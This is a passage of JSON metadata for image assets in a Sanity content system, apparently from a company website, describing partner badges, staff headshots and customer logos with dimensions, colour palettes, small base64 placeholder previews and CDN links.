badge","assetId":"6ce1f6a98646617a3c3854042ba320638432826b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFB|R400~oWB4oWax[M{j]t700~pD%og%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACzUlEQVQokTXOa09bBQDG8fMRnKOnhfb0tD09bU9PaWvbMy7rChSVsTEzaBkaqYqrMqDDlssK7Sw3lUF2ybYuxiWLybIFyUx8N3Ve4geYMUIWg3EvdjXZDLB9gb/By4vnxfPml79gkd/gpcYR2g+UaO0o0ZA4QWNriXj7DIlXF2jrPMUrh85woOci+7urJLuqvHyoSnvXeZIHz9FxuErH4UvsaVlC1qYRdsCQMURrxxTJzjLx9mli8SIBYxI9ViTYcJJofJ6m5BJ7WpcJNy8R3bdMy/6zdKWrpPuvkM58TvLgRTzhBQRR6sMbzBLb+wHNbZP/FPojeWzqMHVKDquax+6bxKmXcAYq2LUKamiWI5nLXPj0R1Zu3Oba6m3mFm/R0nkZYbf1CE7tHbTwMfRojnojjz9SQA3ubAJPqIg3XMYbmcEXnccdmsUfnWF8+gvW1u+zufmcJ0+e8fV3G6T6V/4FFf1dArFh6mPHCTeMEWkuEo2XiO2rYCTmMBIfYSQWMVqWCTV9TKhplqnKKr9tPGB7e4vNzS1++Ol3et+6jrCrthebO4OiZ3EHBvEEc/jCebTIBAFjGt0oo8c+xB+bwW/Mo4Yq+KNlTpRX+HXtLo8eP+bhoz/55vs7pPqvIrxgTiFKr1PnymBVBrC6s9jUY0ieHLKvgKyNY/eNI3nHsHkmsSgTKPVFCsXrrN+5x9b2M57+tcXNb9d5re8zhBfN3chSGlXN4NKyWJUsonwUUR7E7BzB4hrF7MwhOoYQHTlM8ig2zxipNy9x46uf2fjjKb+sPeD0+Vs0ti0i1Fi6UaQeNG8GVX8fq3KUGtsAu6UsJvl/ZIQa++B/fxSLK48vUiGducLJhZsUpr6krfM0slZE2GXuwVSbwmzrQ7T3Y5LepkYawGR/D1Eewuw8jtk5iugYRnTsFBewuMaodRdx6HP4op/gDlaoc09gcY3zN5dzlU6MjzzjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36306a","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#132471","foreground":"#fff","population":9.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#132471","foreground":"#fff","population":9.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#979dc7","foreground":"#000","population":1.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b83c2","foreground":"#fff","population":0.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656d9e","foreground":"#fff","population":3.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74249","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Google Next - book a meeting banner.png","path":"images/sczeoy4w/production/6ce1f6a98646617a3c3854042ba320638432826b-2400x1256.png","sha1hash":"6ce1f6a98646617a3c3854042ba320638432826b","size":492661,"title":null,"uploadId":"JlgTwa4zpgllrFyMIIxpOSp9hJM8rtHw","url":"https://cdn.sanity.io/images/sczeoy4w/production/6ce1f6a98646617a3c3854042ba320638432826b-2400x1256.png"} {"_createdAt":"2023-09-08T09:29:34Z","_id":"image-856ca995b39bb1ee69255165c58b8b1919ccf2f0-504x747-png","_rev":"Dk4vsGyYpr9Xi9g7qzAYc7","_type":"sanity.imageAsset","_updatedAt":"2023-09-08T09:30:01Z","altText":"Google Cloud partner of the year badge","assetId":"856ca995b39bb1ee69255165c58b8b1919ccf2f0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6746987951807228,"height":747,"width":504},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsSAAALEgHS3X78AAAD20lEQVRIiZWWu29jVRDGFxCiAQmJhoYKISQqKgoKaipqCsQ/QE2HaCkQBQ0VDQUtNVV281htErLJbuJHso7t2LFjX9vxfdm+9n3MD82xz81NnEXLSKPzmvP5m8eZ6wfAARCwFFnpq4oU7BXj4AHgAomIObPCK6qsLilgolgKyHJ9c5L/uFi9Q6tgJgUCKg9yTssNM8lEUF1i/TdDlQKwrABv2Cep4E8zAj9iEXpMJh6e7zENfMIgJAhDJpMJsygiTdPcsRzQurACZJ4IvXFCrz0kuKzRuazTqDcZtFr0u13alx06nS6j0TWLxSIPQe6yjaEFTDIhmGUEbshs7DAcDXD6I8LrMYHncT0eMx6PCcOJZcga4E2gV3FTgywjy1LSNDOaZetqQaSQpBzQgv3fUpRiYdwGvDm0LJXFIo6ZzSKi+ZwkSdYyfb/LLznMMjEZHQyHXF+PiaJojZHcx7AIEscxrusyHrtMp1N836fvOAyHQ8IwZD6fm+yqnXqgcrewb234QcBJqcze/j5Hz55TKpc5Pjnh+KREpVKlVCpTKldM6cznLymbogRBQLV6ypPdPTYebfL4yS4HTw/Z2//H7D3c3GJre4dGo8liEeeAdswZ2gS4rkf36opWq0319JTzesOsLzsd6o0mleop5+d1RqORiWm8cn3N5dlsRqvd5vnxCeVKlbOzFxweHRnVdaPZpHZe5+mh7j0zoahUq+aH9BlanDwpvh8YI3VLDU/Pztjd2zfube08NnE7r9eN6xsPHxnd3N7hRa1myOSAdqLZcwYDrno9PN836jiOcde+Xc2yllC7fUnz4sJ45LrurSdoAO3CPik10CKOk2Q5xrEZdd+e2bXcqWF1Oe9pthVpsLUOldVwNDKqTUETpgXuel7eaVSK/c/0w0KzNs1VC9pxBnS6mt2uGXu9Pr2+Y9Y66nMs9EEsMcOwyFLHNE1FY6rZ04ArY13rOJlOzZ7aFO9QAMzugOaqqzSDOF2qzm24bEuSAph1uQ1Edz4N5nwei/S9TJqDjNYww/EzieL8bnECMAc6yvAnEdlefU6zIvBsIdIaZVQ6qVS7qZlP57eBZCn6Td4FflHAD4Gvgd+BsohMrHGSikwiEXcq4k2FMDIfsbwoRCQCasCfwLfAxwqo+g7wqYh8JyJ/ARcisijUWB6Glegfgx7wN/A98BnwLvCaBVR9HXgP5AsR+RHYAAarfwRWNIGeiOwDP4vIlyLyPvCGxSkCGhWRN4EPROQrEflVRA5FJFT3RKQmIn+IyDfARyLy1upOfn8NsKBq/AnwA1DVDAK/AZ8Db993R4H/BQUt6Rt+CRGpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a42c3c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3e2fb","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a25c60","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c7ce4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"badge_PartneroftheYear_Breakthrough_EMEA.png","path":"images/sczeoy4w/production/856ca995b39bb1ee69255165c58b8b1919ccf2f0-504x747.png","sha1hash":"856ca995b39bb1ee69255165c58b8b1919ccf2f0","size":20542,"title":null,"uploadId":"w7ftZ701Njwg6ihMYTatRTi3pjsrUe8o","url":"https://cdn.sanity.io/images/sczeoy4w/production/856ca995b39bb1ee69255165c58b8b1919ccf2f0-504x747.png"} {"_createdAt":"2023-09-21T19:37:11Z","_id":"image-4a949d82363a75a1fc11c01c1430b8513354b371-2387x2774-png","_rev":"kaQ4ZWos4gq6sBfd7uRyPX","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T19:37:11Z","assetId":"4a949d82363a75a1fc11c01c1430b8513354b371","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eeJHgw.9?wrrWB^,WUo#M_Ri4.aJVsSht6tls:s.R*WB-pIoofV@R*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8604902667627974,"height":2774,"width":2387},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f2951","foreground":"#fff","population":1.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#541215","foreground":"#fff","population":0.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0a899","foreground":"#000","population":3.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb0b8","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0a899","foreground":"#000","population":3.63,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a26d63","foreground":"#fff","population":3.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d22d34","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Matty Headshot.png","path":"images/sczeoy4w/production/4a949d82363a75a1fc11c01c1430b8513354b371-2387x2774.png","sha1hash":"4a949d82363a75a1fc11c01c1430b8513354b371","size":9178874,"uploadId":"AgtMP2K0uSYIEN8xbB71n6XT302BaFHL","url":"https://cdn.sanity.io/images/sczeoy4w/production/4a949d82363a75a1fc11c01c1430b8513354b371-2387x2774.png"} {"_createdAt":"2023-09-07T06:05:34Z","_id":"image-4364cd14e8cef63f38b3aaf69ff08ea4288d19aa-2560x1311-png","_rev":"7lO65z9OheRFnytB4YsxwK","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T06:05:34Z","assetId":"4364cd14e8cef63f38b3aaf69ff08ea4288d19aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MER0|MtR4.tR4T~Wni?btl-qHraKS~o}S#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9527078565980167,"height":1311,"width":2560},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC/klEQVQokTWRSUwTYRTH56LxoInxgsaLFxMPJsaDMTEx0XjQqGgwIAgGN7CKsrhBBRUVoxQspS0iSxdaqtCiiBGsmoB4kLiCa4hLrFWhM21n5lta2jL2fWYm8fDybv/f7/0fx+8o/iieuUqlWpMS0VWH+V1Hf/E7iyenN+Y/4zOLPoQyi76Fth/6zmeXTAn55SEhr/Q9n1k0LOSXTwp5ZULkcDWSzjf9jZ68gkNbD4xz4umrJD44oiTG3qbp7fuzckN7UjpnjIULT0lilYGKVYYZscqQQI0dKdzRk6K9Dyj1DIjUOxjHLe4UdfcrMyNjQBy+hJBXFuDkKy2QHP8ESvAPzAw/Z8R1l+EWN4ueqGOoycawpYshSxejt+6z+NBTlnz5jiVfv9d2rP8xmxkeg9SnL4zeGojxu4585KSLZki8mGCz3wIQ948CcfYB7XkAyGQH3H4bYnf8EPMNAbF7gbjuArF5ARltQN392sT9o+nkxGdGPfcSfHbJVy5Scj5Au/tJfGgkrQbIdVbANz2AzE6QDe0aAFm6IFp+GUS9ASJHaiC0uRAiuhpQZXBrN8T6Hv7FVpco5JZ+4KY3FejDhaf80gUTQiYHSLUmiJZeBPFsI6DGDlArCe87DcLeEyBdMoNYWQ+hLftByDmmBSJjpwpCQkGFf3rDnkru56LVS6fW79aL1Y2B2MATRr2DmqVqpZ3XZAdR36CFE7sPcIsbpJrrGoh09qaJw8fkhvaIkHPMHMxYs4L7MWf5PD5Ldxy3dv9Qi44/epbGHT1qX0wzNLSpZzHqGWCo2QFyfRtgq+v/81QwI847KFpRdyO4ZO0yLjB/5QKhoKKSOHx/Es/fsFjfUFqub1PwTY9COnvVLmelyxaMra44sXvT+IZbkeusFBltlNi8imqNLF3B8MHKC8GMNYu5nwtXzQ9tO3hGOmf8TZx9DJmdSqT4LImWXcKo2alItc1RPkv3Klykn0RN9qR8rZUIuaUTQn75O9nQpganIrqa4al12ZmBBSvn/gPXckawGb2MXQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d40414","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f61038","foreground":"#fff","population":2.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c6b9","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f884a1","foreground":"#000","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af565e","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f61038","foreground":"#fff","population":2.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Blume_2000_Logo_02.2016.svg (1).png","path":"images/sczeoy4w/production/4364cd14e8cef63f38b3aaf69ff08ea4288d19aa-2560x1311.png","sha1hash":"4364cd14e8cef63f38b3aaf69ff08ea4288d19aa","size":172475,"uploadId":"Qne7NZ9y3Bb71eq5nO68Ft2C6Zp92Rd8","url":"https://cdn.sanity.io/images/sczeoy4w/production/4364cd14e8cef63f38b3aaf69ff08ea4288d19aa-2560x1311.png"} {"_createdAt":"2023-09-21T19:41:25Z","_id":"image-890f824786fe9741519e15a64b84684b73f3dfab-1711x1555-png","_rev":"rpwBSMa1i11HwZnbWqaSGv","_type":"sanity.imageAsset","_updatedAt":"2023-09-21T19:41:25Z","assetId":"890f824786fe9741519e15a64b84684b73f3dfab","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eqPGUAt8_MWAnM~QaxWtWVM}9%fkaJoft6--ayofWBRjR:fQV@ofRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1003215434083602,"height":1555,"width":1711},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAADlElEQVQ4jY2U2U9bRxSHL9D2obz1tUJKlT+gfehb+1ypz30rTSQgZRWpCEWlSgQNRCgpoVYSHBaHnQJNw+bYGMISlrCYNTg2mLA4ODaLjfcFbOz7VQaCIKCoRzpzzszc+fSbOTNXEEWRiEcs0r7Lw+Ewfq8Xs2GVmZEBhrs60EyO47DtHMwdfH+09qQLp4CReNT3OB28nlMz0tbIk3u3KLueSWXh7wwpO7FZthHD4Q8DxRPgvV0/bxbmmVX+y1x7PRPNFchL8ii9dgXpjWwm+nvweTznqhTeh0Wiw2pBPz6EYaQHp3YKl26azdFnjFXfR5abyT/lpZiNxv8HDIVCbKwbWBgeYGNqFPeSFteiBqt6mMXWBjru3KRFWsqK/vW5Zym8D9zf3+fN0hJTCjnzHa28UsiZ62hnvL6G7pLbNBXm0yarYlmrYz8YPAs8OXCscG2NWUUn4w21PK+SoZJKUUr+or2okOaCfJSVFaxMTxP0+88HHlf4KPpsO5gmx1lWKdB1tjHZWMdYjYzJGhnDD+8x0VSPWaclFAh8GHi8bZ8Pm06Hsa+XVeVTZhtqGSl7gFpWzmiZFE2XAtf29pnbIZ5ReDAJHtcehtkl9Ipu9E+eMFFeTldhIaqiIrruSphS9eFxus8IEQ+LcnJQJFK4rc0gMy9M6J5NYuztZ7H5MYMlEhS3imgtkjDcPoDdehoonleUiIdFEbtpj6XeLVb69KyPqFloU9BbIqXu1+s05hSgblDh2bCfAUbs1NOLWCT3Gv2syd+i6dCi6RnhRd1jWv74k/upV3mUnEV/8d+svjTh3Q2deq6nFO4GRTacYV6+3Ueu9lNcbUZSMc/zp2NMdXajrKilKv8Ot38pJie7jRuVy8inPWw69wmFD4/r+GLbfWH69QEKlD7iqz18e9fNxd+sfJO7Sl65npoWHQ9karJuDvBd2hAXLs/zeYqB74u3kfa70ZoC+AKHPwshGBIZ1Af46ZGTuFwbn161E5PhQEhxEJu8w8XMLb7O3uDLTCNxievExpuI+nEL4ZKF2BQLX+VZuNa0w+CiF/duCMHpC1Oi8vJFjhUh2YqQZkdIdSKkuRFS3Qg/u4hKcBB1yYYQb0O4bEdIcBB9xUFMkpWPE8zEZSyT9HCFrhkLgtkeIqvBxWcZFqKSd4hOdyCkuxAyPAiZXoR0D0Kqh6h34ETHQf5Rso1PEs3ExBuI/kHDhaRREiVT/AdxF8a3NtOC7gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a404d","foreground":"#fff","population":3.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0755d1","foreground":"#fff","population":0.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ab7a7a","foreground":"#fff","population":4.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a3a2","foreground":"#000","population":2.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#44acfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab7a7a","foreground":"#fff","population":4.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#046cf1","foreground":"#fff","population":3.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kaslin Headshot.png","path":"images/sczeoy4w/production/890f824786fe9741519e15a64b84684b73f3dfab-1711x1555.png","sha1hash":"890f824786fe9741519e15a64b84684b73f3dfab","size":2459794,"uploadId":"P5Nd0WicpXMr4orN56BouO1PPFZKQ0rb","url":"https://cdn.sanity.io/images/sczeoy4w/production/890f824786fe9741519e15a64b84684b73f3dfab-1711x1555.png"} {"_createdAt":"2023-09-07T07:07:38Z","_id":"image-98f2b992696affc6b31448ce018dd38848e1b160-1828x918-png","_rev":"jBJgpqpGruZvOgVMUC585B","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T07:07:38Z","assetId":"98f2b992696affc6b31448ce018dd38848e1b160","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMPP}%xas:j]tR?^ShaxV@RP00WBoMofbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.991285403050109,"height":918,"width":1828},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACbElEQVQokUWRXU/TABSG+yv9AV54rUbDJUYvlGvEr6CZoqCD4IBNHSuFDVjH2rVs60rZxvhSGfso/WArwyWPWUn04sl7znlPcnLOEcqGwdHPUzqug+04dG071AvXxXHdMG+etzjvdrH9S/xej16vTxD0GQR+iO972BcOnuchVKsVDEOjYhmUyiqalqVSNbGO6lgNC10vsLqywnpqjd2iQSGnoO2o1PeLnJYTNC2R00MDq6JzUDUQSsomqfhnJDHOupQg+WORrCIj6ztklQzbW2kW3r9n4dMsqaTI7KtpPr6eZiMVIz3/BHl5AiW7TPL7HGlpCcEoKmTWv5GTM+hFjd2izn6timkZWFaJw8YBxYKOmldRVZ1YdJ7FL1EyaYnEwjTJpQh5NcOmvIaqyQhnzTOazTNa7TatdufmhrbNefOMbqeF47i02106XZtWp0OjcUij0eD45ATL2qNWq/Hz929+jfovbIRer8f19TV/hkMGg0EYD66u6F9eEgQBV6O43//vDQYhI29UD0INCIIrhsMhgu85XPreP3zXwXNsfM/Fc10ubBvXHfXcfHP0yRt1Q3zfxws9PxwgHNVM6mYJU5XZK+xgKFlMLUfdqqDtyEjf4+wW8tTr1XBF06ywN8IoYZYKWEaR/b2b1Y+PjxHK6jaKuIr49g2rkSnEuddsLn1EWYuzHJlkcvw+sdl35HNbZLfSpDdEpB9xUtEZkpEXJGfeIMbmkTMblMslhHJ+i/zXBInHT1l4cpeVyTGkyAS56EsSk2M8v3eL2alnbEvf2BTjpBLzxCIv+PToAR/u3Sby8A5zE+NIX6MUdY2/b+GzwwGdJHkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#41372b","foreground":"#fff","population":3.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d4926","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#41372b","foreground":"#fff","population":3.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabca5","foreground":"#000","population":2.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c3c5","foreground":"#000","population":0.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af7f75","foreground":"#fff","population":2.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a58144","foreground":"#fff","population":3.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Blume2000 Online-Shop.png","path":"images/sczeoy4w/production/98f2b992696affc6b31448ce018dd38848e1b160-1828x918.png","sha1hash":"98f2b992696affc6b31448ce018dd38848e1b160","size":1285955,"uploadId":"XhxJXCAnjFggxB5KTfuIZ2GjUoF2Stzl","url":"https://cdn.sanity.io/images/sczeoy4w/production/98f2b992696affc6b31448ce018dd38848e1b160-1828x918.png"} {"_createdAt":"2023-09-07T07:26:27Z","_id":"image-acbc9582569eb1c621e4aeba792142062e89f3e2-1200x628-png","_rev":"7lO65z9OheRFnytB4Yv4lM","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T07:26:27Z","assetId":"acbc9582569eb1c621e4aeba792142062e89f3e2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7ATsq00-gs*00~q9bt6t5IW00^*IURp?Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACmUlEQVQokUXSSU9TARSG4f4CFwpWoK1YetsydKDQESlQQtsLnbgMgkbcKJGYlFTLUKETHaCl0qKNOzUCiUYTZQEb40ZYGDYu/TuvAQ2uzu7L851zZFebpxG6HtLjWsQxuIRzcBX7QAJb/xqOwQx9njxOTxHH0BYGewFVewbBXGTAt4M0s4M0W8M1vE1rZ4omTQJZo2IGo/UJHn8CXyiNP7yBL5jHH94kMFEhMFFlVKohjr/E6i4jmHL4I3XiiTck0zWquwek8l8Y8NdQ6JLIrqtmsTijjIyt4/8XKIYLBCbKRO5UCU3tEpjcxRfexewsYrAXicb3efvuE/V6naOjY759/8V89CNqQwGZXHWX3r5F/KEUYiSDL5TFF8ozOr51KRTHz2uV0BjTGGwFYsvv2T/4zP7+HqenJ/w8+83TxCHa7p2/wh5XFDGcIjCxgRjJIUYKjEklxqQKoakawamX3B7Zps2Qps2QITxdpfxij6+Hx/w4OePgwymT99+jNlb+V/YG1y+E3mAWbzCHGN5EjJQvd/hXmEGpT2FyFJh98Jrc5meK24fMzb/D5CyhbM//O0rvAn1DcWz9TzHZY3Q7lrC517C701j7s5idWQRTEqVuDVV7mi5bGbfvFaPSa/yRVzg9FfSWHEp9GllD0ySd+vv09Dym3bzATd08WmMU11AK11AWrWmVFiFOk2bp4i1udmQwu17Q763jGq5idZew9G2it2RR6pPIrsklNKpJOvRzCJ2PUAgP0RmjDI/m8IhFBOMK8lsxbrQt0axJXCjO/7DTWkJv2UDdtU5rx3OUugQt2iSyK40SV+USjc3TNCrv0aCYo1l9royhNcVRCLHLwHNhizaFQpe9mE2aFeTqOHL1M260LdOiS/MH4XyRFJgOhSkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454a79","foreground":"#fff","population":2.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":9.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":9.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afb1cd","foreground":"#000","population":1.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c83c3","foreground":"#fff","population":0.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7195","foreground":"#fff","population":4.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0744c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven 